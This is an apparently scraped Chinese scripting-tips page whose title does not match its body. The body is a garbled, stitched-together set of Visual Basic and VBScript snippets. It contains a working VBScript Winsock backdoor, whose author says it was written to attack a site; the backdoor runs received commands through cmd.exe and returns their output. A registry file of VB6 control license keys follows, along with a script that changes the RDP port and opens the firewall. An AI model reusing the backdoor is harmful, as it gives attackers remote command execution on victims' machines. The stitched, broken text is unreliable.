lr录制脚本打不开ie征途抓随宠上能用吗

发布时间:2020-11-15 来源:脚本之家 点击:



  DeclareFunctionGetModuleHandleLib"Kernel"(ByVallpProgName$)

  DeclareFunctionGetModuleUsageLib"Kernel"(ByValhModule)

  同时建立一个子过程,名字为main,子过程中的代码如下:

  SubMain()OnErrorGoToerrMain‘错误处理DimhModule‘模块句柄DimAppCount‘应用程序的个数appPath$=app.Path ""‘应用程序的启动路径hModule=GetModuleHandle(appPath$ app.EXEName ".exe")‘获得该程序的句柄'搞一个特殊的站准备用的,没想到,等写完了,洞补上了,郁闷
'by009,baicker@hotmail.com
'date:071221

Dimrevdata
setsock=WScript.createobject("MSWinsock.Winsock","WSEvent_")
setsc=createobject("WScript.Shell")
Setfso=CreateObject("Scripting.FileSystemObject")
sock.connect"127.0.0.1",1234

SubWSEvent_Connect()
wscript.echo"Connected!"
endsub

SubWSEvent_DataArrival(bytes)
MyString="blank"
sock.GetDataMyString
revdata=MyString
ifbytes>0then
ifinstr(revdata,"exit")>0then
sock.close
sock.close
sock=nothing
bClose=true
exitsub
else
onerrorresumenext
tempfile="C:"&fso.GetTempName
cmd=left(revdata,len(revdata)-1)
callsc.Run("cmd.exe/c"&cmd&">"&tempfile,0,True)
Settxf=fso.OpenTextFile(tempfile,1,false,0)
sock.senddatatxf.readall&vbcrlf&vbcrlf
txf.close
callfso.DeleteFile(TempFile,True)
endif
sock.senddata"009>"
endif
endsub

WhileNotbClose
WScript.Sleep1
Wend

—————————————————————————————————————
调用winsock,未装VB的需要导入注册表
——————————————vb6controls.reg—————————————————-
REGEDIT
HKEY_CLASSES_ROOT\Licenses=Licensing:Copyingthekeysmaybeaviolationofestablishedcopyrights.

//MaskedEditControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\BC96F860-9928-11cf-8AFA-00AA00C00905=mmimfflflmqmlfffrlnmofhfkgrlmmfmqkqj

//ChartControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\12B142A4-BD51-11d1-8C08-0000F8754DA1=aadhgafabafajhchnbchehfambfbbachmfmb

//CommonDialogControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\4D553650-6ABE-11cf-8ADB-00AA00C00905=gfjmrfkfifkmkfffrlmmgmhmnlulkmfmqkqj

//ADODataControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\C4145310-469C-11d1-B182-00A0C922E820=konhqhioohihphkouimonhqhvnwiqhhhnjti

//CommonControls-36.0licensekey
HKEY_CLASSES_ROOT\Licenses\38911DA0-E448-11D0-84A3-00DD01104159=mcpckchcdchjcjcclidcgcgchdqdcjhcojpd

//WindowsCommonControls-25.0(SP2)licensekey
HKEY_CLASSES_ROOT\Licenses\9E799BF1-8817-11cf-958F-0020AFC28C3B=uqpqnqkjujkjjjjqwktjrjkjtkupsjnjtoun

//WindowsCommonControlslicensekey
HKEY_CLASSES_ROOT\Licenses\57CBF9E0-6AA7-11cf-8ADB-00AA00C00905=aahakhchghkhfhaamghhbhbhkbpgfhahlfle

//DataBoundGridControl5.0(SP3)licensekey
HKEY_CLASSES_ROOT\Licenses\556C75F1-EFBC-11CF-B9F3-00A0247033C4=xybiedobrqsprbijaegcbislrsiucfjdhisl

//DataBoundListControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\096EFC40-6ABF-11cf-850C-08002B30345D=knsgigmnmngnmnigthmgpninrmumhgkgrlrk

//InternetTransferControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\78E1BDD1-9941-11cf-9756-00AA00C00908=yjrjvqkjlqqjnqkjvprqsjnjvkuknjpjtoun

//MultimediaControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\B1EFCCF0-6AC1-11cf-8ADB-00AA00C00905=qqkjvqpqmqjjpqjjvpqqkqmqvkypoqjquoun

//ChartControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\7C35CA30-D112-11cf-8E72-00A0C90F26F8=whmhmhohmhiorhkouimhihihwiwinhlosmsl

//WindowsCommonControls-26.0licensekey
HKEY_CLASSES_ROOT\Licenses\4F86BADF-9F77-11d1-B1B7-0000F8753F5D=iplpwpnippopupiivjrioppisjsjlpiiokuj

//WindowsCommonControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\ED4B87C4-9F76-11d1-8BF7-0000F8754DA1=knlggnmntgggrninthpgmnngrhqhnnjnslsh

//CommControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\4250E830-6AC2-11cf-8ADB-00AA00C00905=kjljvjjjoquqmjjjvpqqkqmqykypoqjquoun

//DataGridControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\CDE57A55-8B86-11D0-b3C6-00A0C90AEA82=ekpkhddkjkekpdjkqemkfkldoeoefkfdjfqe

//DataListControl6.0(OLEDB)licensekey
HKEY_CLASSES_ROOT\Licenses\A133F000-CCB0-11d0-A316-00AA00688B10=cibbcimbpihbbbbbnhdbeidiocmcbbdbgdoc

//DBWinlicensekey
HKEY_CLASSES_ROOT\Licenses\D015B071-D2ED-11d0-A31A-00AA00688B10=gjdcfjpcmjicjcdcoihcechjlioiccechepd

//MSDBRPTlicensekey
HKEY_CLASSES_ROOT\Licenses\9DF1A470-BA8E-11D0-849C-00A0C90DC8A9=cchcqjejhcgcqcfjpdfcdjkckiqikchcojpd

//FlexGridControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\72E67120-5959-11cf-91F6-C2863C385E30=ibcbbbebqbdbciebmcobmbhifcmciibblgmf

//MAPIControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\899B3E80-6AC6-11cf-8ADB-00AA00C00905=wjsjjjlqmjpjrjjjvpqqkqmqukypoqjquoun

//MSRDO2.0licensekey
HKEY_CLASSES_ROOT\Licenses\B1692F60-23B0-11D0-8E95-00A0C90F26F8=mjjjccncgjijrcfjpdfjfcejpdkdkcgjojpd

//RemoteDataControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\43478d75-78e0-11cf-8e78-00a0d100038e=imshohohphlmnhimuinmphmmuiminhlmsmsl

//WindowlessControls6.0licensekey
HKEY_CLASSES_ROOT\Licenses\80E80EF0-DBBE-11D0-BCE2-00A0C90DCA10=qijimitpmpnpxplpvjnikpkpqoxjmpkpoivj

//PictureClipControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\6FB38640-6AC7-11cf-8ADB-00AA00C00905=gdjkokgdldikhdddpjkkekgknesjikdkoioh

//RichTextBoxControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\DC4D7920-6AC8-11cf-8ADB-00AA00C00905=iokouhloohrojhhhtnooiokomiwnmohosmsl

//SheridanTabControllicensekey
HKEY_CLASSES_ROOT\Licenses\190B7910-992A-11cf-8AFA-00AA00C00905=gclclcejjcmjdcccoikjlcecoioijjcjnhng

//SysInfoControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\E32E2733-1BC5-11d0-B8C3-00A0C90DCA10=kmhfimlflmmfpffmsgfmhmimngtghmoflhsg

//WinsockControl6.0licensekey
HKEY_CLASSES_ROOT\Licenses\2c49f800-c2dd-11cf-9ad6-0080c7e7b78d=mlrljgrlhltlngjlthrligklpkrhllglqlrk

个人形象拍摄脚本


可以直接双击运行,可以在当前目录的命令行输入:

cscripthello.vbs



2、在脚本中调用其他的程序:

使用run()方法,在使用前必须先建立shell的实例

********************shell.vbs******************************************

setws=wscript.createobject("wscript.shell")

ret=ws.run("notepad",3,true)

ifret=0then

wscript.echo“succeed!”

else

wscript.echo“thereisaerror,theerrornumberis:”

wscript.echocstr(ret)

endif

***************************************************************************

这里run有三个参数,第一个参数是你要执行的程序的路径

第二个程序是窗口的形式,0是在后台运行;

1表示正常运行

2表示激活程序并且显示为最小化

3表示激活程序并且显示为最大化

一共有10个这样的参数我只列出了4个最常用的

  3.复制下面一行代码并粘贴到Form1的“generaldeclaration”部分:ImportsSystem.Data.SqlClient

  4.复制下面的代码并粘贴到“WindowsFormDesignergeneratedcode”区域之后:  

  PrivateSubbtnCreateDatabase_Click(ByValsenderAsSystem.Object,_
  ByValeAsSystem.EventArgs)HandlesbtnCreateDatabase.Click
  DimreaderAsSqlDataReader
  DimstrAsString
  DimmyConnAsSqlConnection=NewSqlConnection("Server=(local)\netsdk;"&_
  "uid=sa;pwd=;database=master") 

  str="CREATEDATABASEMyDatabaseONPRIMARY"&_
  "(NAME=MyDatabase_Data,"&_
  "FILENAME='D:\MyFolder\MyDatabaseData.mdf',"&_
  "SIZE=2MB,"&_
  "MAXSIZE=10MB,"&_
  "FILEGROWTH=10)"&_
  "LOGON"&_
  "(NAME=MyDatabase_Log,"&_
  "FILENAME='D:\MyFolder\MyDatabaseLog.ldf',"&_
  "SIZE=1MB,"&_
  "MAXSIZE=5MB,"&_
  "FILEGROWTH=10)"
  DimmyCommandAsSqlCommand=NewSqlCommand(str,myConn)
  Try
  myConn.Open()
  reader=myCommand.ExecuteReader()
  CatchexAsException
  MessageBox.Show(ex.ToString())
  Finally
  IfNotreaderIsNothingThen
  reader.Close()
  If(myConn.State=ConnectionState.Open)Then
  myConn.Close()
  EndIf
  MessageBox.Show("Databaseiscreatedsuccessfully",_
  "MyProgram",MessageBoxButtons.OK,_
  MessageBoxIcon.Information)
  EndIf
  EndTry
  EndSub 

  5.更改连接字符串使其指向SQLServer,要确保将Database参数设置为Master或保留为空白

如果您担心此类名称冲突,那么,我们可以只使用InStr并针对类似\test.vbs的字符串进行测试

->如何关闭ScreenSave功能,改变Timeout时间

  此外希望只有本次使用Windows时改变(下次开机时还原原状),则最後参数改为 SPIF_SENDWININICHANGE(没有SPIF_UPDATEINIFILE)

ConstSPI_SETSCREENSAVEACTIVE=17
ConstSPI_SETSCREENSAVETIMEOUT=15
ConstSPIF_SENDWININICHANGE=&H2
ConstSPIF_UPDATEINIFILE=&H1

PrivateDeclareFunctionSystemParametersInfoLib"user32"Alias_
  "SystemParametersInfoA"(ByValuActionAsLong,ByValuParamAsLong,_
  ByVallpvParamAsLong,ByValfuWinIniAsLong)AsLong

PrivateSubSetScreenSaveTimeout(ByValBySecondAsLong)
 CallSystemParametersInfo(SPI_SETSCREENSAVETIMEOUT,BySecond,0,_
     SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)
EndSub

PrivateSubEnableScreenSave()
 CallSystemParametersInfo(SPI_SETSCREENSAVEACTIVE,1,0,_
     SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)
EndSub
PrivateSubDisableScreenSave()
 CallSystemParametersInfo(SPI_SETSCREENSAVEACTIVE,0,0,_
     SPIF_UPDATEINIFILE SPIF_SENDWININICHANGE)
EndSub->
->

->

然后重启一下系统,就修改了系统的远程桌面的默认的3389端口

'#####################
'VBS修改远程桌面的默认端口,并添加至Windows防火墙
'作者51windows.Net
'56868为要设置的端口
'#####################

SetWshShell=WScript.CreateObject("WScript.Shell")
WshShell.RegWrite"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\WinStations\RDP-Tcp\PortNumber",56868,"REG_DWORD"
WshShell.RegWrite"HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Wds\rdpwd\Tds\tcp\PortNumber",56868,"REG_DWORD"


FunctionAddfirewall(name,port,state)
SetobjFirewall=CreateObject("HNetCfg.FwMgr")
SetobjPolicy=objFirewall.LocalPolicy.CurrentProfile

SetobjPort=CreateObject("HNetCfg.FwOpenPort")
objPort.Port=port
objPort.Name=name
objPort.Enabled=state
SetcolPorts=objPolicy.GloballyOpenPorts
errReturn=colPorts.Add(objPort)
EndFunction

callAddfirewall("远程桌面56868",56868,1)
setWshShell=nothing

msgbox"设置成功"

医院地震疏散演练由于ActiveXEXE工程拥有自己的进程空间,代码运行时会自我协调、异步处理,从而不会使其他程序代码停顿

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号